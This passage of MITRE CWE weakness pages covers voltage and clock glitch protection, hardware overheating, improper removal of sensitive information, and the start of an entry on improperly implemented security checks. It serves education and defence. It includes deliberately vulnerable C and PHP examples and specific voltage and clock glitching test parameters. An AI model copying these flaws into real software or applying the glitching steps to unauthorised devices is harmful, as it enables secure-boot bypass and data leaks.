Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1384 Improper Handling of Physical or Environmental Conditions
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1206 Power, Clock, Thermal, and Reset Concerns
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1388 Physical Access Issues and Concerns
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1332 Improper Handling of Faults that Lead to Instruction Skips
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

Class: System on Chip (Undetermined Prevalence)

Power Management Hardware (Undetermined Prevalence)

Clock/Counter Hardware (Undetermined Prevalence)

Sensor Hardware (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Below is a representative snippet of C code that is part of the secure-boot flow. A signature of the runtime-firmware image is calculated and compared against a golden value. If the signatures match, the bootloader loads runtime firmware. If there is no match, an error halt occurs. If the underlying hardware executing this code does not contain any circuitry or sensors to detect voltage or clock glitches, an attacker might launch a fault-injection attack right when the signature check is happening (at the location marked with the comment), causing a bypass of the signature-checking process.

(bad code)
Example Language: C 
...
if (signature_matches) // <-Glitch Here
{
load_runtime_firmware();
}
else
{
do_not_load_runtime_firmware();
}

...

After bypassing secure boot, an attacker can gain access to system assets to which the attacker should not have access.

(good code)
 
If the underlying hardware detects a voltage or clock glitch, the information can be used to prevent the glitch from being successful.


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Lack of anti-glitch protections allows an attacker to launch a physical attack to bypass the secure boot and read protected eFuses.
IP communication firmware allows access to a boot shell via certain impulses
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Manual Analysis

Put the processor in an infinite loop, which is then followed by instructions that should not ever be executed, since the loop is not expected to exit. After the loop, toggle an I/O bit (for oscilloscope monitoring purposes), print a console message, and reenter the loop. Note that to ensure that the loop exit is actually captured, many NOP instructions should be coded after the loop branch instruction and before the I/O bit toggle and the print statement.

Margining the clock consists of varying the clock frequency until an anomaly occurs. This could be a continuous frequency change or it could be a single cycle. The single cycle method is described here. For every 1000th clock pulse, the clock cycle is shortened by 10 percent. If no effect is observed, the width is shortened by 20%. This process is continued in 10% increments up to and including 50%. Note that the cycle time may be increased as well, down to seconds per cycle.

Separately, the voltage is margined. Note that the voltage could be increased or decreased. Increasing the voltage has limits, as the circuitry may not be able to withstand a drastically increased voltage. This process starts with a 5% reduction of the DC supply to the CPU chip for 5 millisecond repeated at 1KHz. If this has no effect, the process is repeated, but a 10% reduction is used. This process is repeated at 10% increments down to a 50% reduction. If no effects are observed at 5 millisecond, the whole process is repeated using a 10 millisecond pulse. If no effects are observed, the process is repeated in 10 millisecond increments out to 100 millisecond pulses.

While these are suggested starting points for testing circuitry for weaknesses, the limits may need to be pushed further at the risk of device damage. See [REF-1217] for descriptions of Smart Card attacks against a clock (section 14.6.2) and using a voltage glitch (section 15.5.3).

Effectiveness: Moderate

Dynamic Analysis with Manual Results Interpretation
During the implementation phase where actual hardware is available, specialized hardware tools and apparatus such as ChipWhisperer may be used to check if the platform is indeed susceptible to voltage and clock glitching attacks.

Architecture or Design Review
Review if the protections against glitching merely transfer the attack target. For example, suppose a critical authentication routine that an attacker would want to bypass is given the protection of modifying certain artifacts from within that specific routine (so that if the routine is bypassed, one can examine the artifacts and figure out that an attack must have happened). However, if the attacker has the ability to bypass the critical authentication routine, they might also have the ability to bypass the other protection routine that checks the artifacts. Basically, depending on these kind of protections is akin to resorting to "Security by Obscurity".

Architecture or Design Review
Many SoCs come equipped with a built-in Dynamic Voltage and Frequency Scaling (DVFS) that can control the voltage and clocks via software alone. However, there have been demonstrated attacks (like Plundervolt and CLKSCREW) that target this DVFS [REF-1081] [REF-1082]. During the design and implementation phases, one needs to check if the interface to this power management feature is available from unprivileged SW (CWE-1256), which would make the attack very easy.
+ Functional Areas
  • Power
  • Clock
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1367 ICS Dependencies (& Architecture): External Physical Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1405 Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1061] Keith Bowman, James Tschanz, Chris Wilkerson, Shih-Lien Lu, Tanay Karnik, Vivek De and Shekhar Borkar. "Circuit Techniques for Dynamic Variation Tolerance".
<https://dl.acm.org/doi/10.1145/1629911.1629915>. (URL validated: 2023-04-07)
[REF-1062] Dan Ernst, Nam Sung Kim, Shidhartha Das, Sanjay Pant, Rajeev Rao, Toan Pham, Conrad Ziesler, David Blaauw, Todd Austin, Krisztian Flautner and Trevor Mudge. "Razor: A Low-Power Pipeline Based on Circuit-Level Timing Speculation".
<https://web.eecs.umich.edu/~taustin/papers/MICRO36-Razor.pdf>.
[REF-1063] James Tschanz, Keith Bowman, Steve Walstra, Marty Agostinelli, Tanay Karnik and Vivek De. "Tunable Replica Circuits and Adaptive Voltage-Frequency Techniques for Dynamic Voltage, Temperature, and Aging Variation Tolerance".
<https://ieeexplore.ieee.org/document/5205410>.
[REF-1064] Bilgiday Yuce, Nahid F. Ghalaty, Chinmay Deshpande, Conor Patrick, Leyla Nazhandali and Patrick Schaumont. "FAME: Fault-attack Aware Microprocessor Extensions for Hardware Fault Detection and Software Fault Response".
<https://dl.acm.org/doi/10.1145/2948618.2948626>. (URL validated: 2023-04-07)
[REF-1065] Keith A. Bowman, James W. Tschanz, Shih-Lien L. Lu, Paolo A. Aseron, Muhammad M. Khellah, Arijit Raychowdhury, Bibiche M. Geuskens, Carlos Tokunaga, Chris B. Wilkerson, Tanay Karnik and Vivek De. "A 45 nm Resilient Microprocessor Core for Dynamic Variation Tolerance".
<https://ieeexplore.ieee.org/document/5654663>.
[REF-1066] Niek Timmers and Albert Spruyt. "Bypassing Secure Boot Using Fault Injection".
<https://www.blackhat.com/docs/eu-16/materials/eu-16-Timmers-Bypassing-Secure-Boot-Using-Fault-Injection.pdf>.
[REF-1217] Ross Anderson. "Security Engineering". 14.6.2 Security Evolution, page 291. 2001.
<https://www.cl.cam.ac.uk/~rja14/musicfiles/manuscripts/SEv1.pdf>.
[REF-1217] Ross Anderson. "Security Engineering". 15.5.3 Glitching, page 317. 2001.
<https://www.cl.cam.ac.uk/~rja14/musicfiles/manuscripts/SEv1.pdf>.
[REF-1081] Kit Murdock, David Oswald, Flavio D Garcia, Jo Van Bulck, Frank Piessens and Daniel Gruss. "Plundervolt".
<https://plundervolt.com/>.
[REF-1082] Adrian Tang, Simha Sethumadhavan and Salvatore Stolfo. "CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management".
<https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-tang.pdf>.
[REF-1285] Texas Instruments. "Physical Security Attacks Against Silicon Devices". 2022-01-31.
<https://www.ti.com/lit/an/swra739/swra739.pdf?ts=1644234570420>.
[REF-1286] Lennert Wouters, Benedikt Gierlichs and Bart Preneel. "On The Susceptibility of Texas Instruments SimpleLink Platform Microcontrollers to Non-Invasive Physical Attacks". 1.2 / 4. 2022-03-14.
<https://eprint.iacr.org/2022/328.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-02-12
(CWE 4.0, 2020-02-24) 		Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi Intel Corporation
+ Contributions
Contribution Date Contributor Organization
2021-10-18 Parbati K. Manna Intel Corporation
provided detection methods
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships
2022-10-13 CWE Content Team MITRE
updated Demonstrative_Examples, References
2022-06-28 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2022-04-28 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2021-10-28 CWE Content Team MITRE
updated Description, Detection_Factors, Name, References, Weakness_Ordinalities
2021-03-15 CWE Content Team MITRE
updated Functional_Areas
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns
+ Previous Entry Names
Change Date Previous Entry Name
2020-08-20 Missing Protection Against Voltage and Clock Glitches
2021-10-28 Missing or Improperly Implemented Protection Against Voltage and Clock Glitches
Back to top

CWE-1338: Improper Protections Against Hardware Overheating

Weakness ID: 1338
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A hardware device is missing or has inadequate protection features to prevent overheating.
+ Extended Description

Hardware, electrical circuits, and semiconductor silicon have thermal side effects, such that some of the energy consumed by the device gets dissipated as heat and increases the temperature of the device. For example, in semiconductors, higher-operating frequency of silicon results in higher power dissipation and heat. The leakage current in CMOS circuits increases with temperature, and this creates positive feedback that can result in thermal runaway and damage the device permanently.

Any device lacking protections such as thermal sensors, adequate platform cooling, or thermal insulation is susceptible to attacks by malicious software that might deliberately operate the device in modes that result in overheating. This can be used as an effective denial of service (DoS) or permanent denial of service (PDoS) attack.

Depending on the type of hardware device and its expected usage, such thermal overheating can also cause safety hazards and reliability issues. Note that battery failures can also cause device overheating but the mitigations and examples included in this submission cannot reliably protect against a battery failure.

There can be similar weaknesses with lack of protection from attacks based on overvoltage or overcurrent conditions. However, thermal heat is generated by hardware operation and the device should implement protection from overheating.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

DoS: Resource Consumption (Other)

Scope: Availability

Likelihood: High

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Temperature maximum and minimum limits should be enforced using thermal sensors both in silicon and at the platform level.

Implementation
The platform should support cooling solutions such as fans that can be modulated based on device-operation needs to maintain a stable temperature.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1206 Power, Clock, Thermal, and Reset Concerns
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation Such issues could be introduced during hardware architecture, design or implementation.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

Power Management Hardware (Undetermined Prevalence)

Processor Hardware (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Malicious software running on a core can execute instructions that consume maximum power or increase core frequency. Such a power-virus program could execute on the platform for an extended time to overheat the device, resulting in permanent damage.

Execution core and platform do not support thermal sensors, performance throttling, or platform-cooling countermeasures to ensure that any software executing on the system cannot cause overheating past the maximum allowable temperature.

The platform and SoC should have failsafe thermal limits that are enforced by thermal sensors that trigger critical temperature alerts when high temperature is detected. Upon detection of high temperatures, the platform should trigger cooling or shutdown automatically.



+ Detection Methods
Method Details

Dynamic Analysis with Manual Results Interpretation
Dynamic tests should be performed to stress-test temperature controls.

Effectiveness: High

Architecture or Design Review
Power management controls should be part of Architecture and Design reviews.

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1367 ICS Dependencies (& Architecture): External Physical Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1413 Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1156] Leonid Grustniy. "Loapi--This Trojan is hot!". 2017-12.
<https://www.kaspersky.com/blog/loapi-trojan/20510/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-05-29
(CWE 4.3, 2020-12-10) 		Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna Intel Corporation
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated Related_Attack_Patterns
2022-06-28 CWE Content Team MITRE
updated Applicable_Platforms
2022-04-28 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
Back to top

CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer

Weakness ID: 212
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.
+ Extended Description

Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.

For example, a product for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Files or Directories; Read Application Data

Scope: Confidentiality

Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.
+ Potential Mitigations
Phase(s) Mitigation

Requirements
Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.

Implementation
Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 226 Sensitive Information in Resource Not Removed Before Reuse
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1258 Exposure of Sensitive System Information Due to Uncleared Debug Information
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 201 Insertion of Sensitive Information Into Sent Data
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 452 Initialization and Cleanup Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1015 Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


This code either generates a public HTML user information page or a JSON response containing the same user information.

(bad code)
Example Language: PHP 

// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
$record = getUserRecord($username);
foreach($record as $fieldName => $fieldValue)
{
if($fieldName == "email_address") {

// skip displaying user emails
continue;
}
else{
writeToHtmlPage($fieldName,$fieldValue);
}
}
}
else
{
$record = getUserRecord($username);
echo json_encode($record);
}

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Cryptography library does not clear heap memory before release
Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).
NAT feature in firewall leaks internal IP addresses in ICMP error messages.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 808 2010 Top 25 - Weaknesses On the Cusp
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 867 2011 Top 25 - Weaknesses On the Cusp
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Terminology

The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Cross-Boundary Cleansing Infoleak
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations
2020-06-25 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Description, Name, Relationships, Weakness_Ordinalities
2019-06-20 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-27 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated Potential_Mitigations
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, Relationship_Notes, Relationships, Terminology_Notes
2009-12-28 CWE Content Team MITRE
updated Name
2009-10-29 CWE Content Team MITRE
updated Description, Other_Notes, Relationship_Notes
2008-10-14 CWE Content Team MITRE
updated Description
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-12-28 Cross-boundary Cleansing Information Leak
2010-02-16 Improper Cross-boundary Cleansing
2020-02-24 Improper Cross-boundary Removal of Sensitive Data
Back to top

CWE-358: Improperly Implemented Security Check for Standard

Weakness ID: 358
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 573 Improper Following of Specification by Caller
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 325 Missing Cryptographic Step
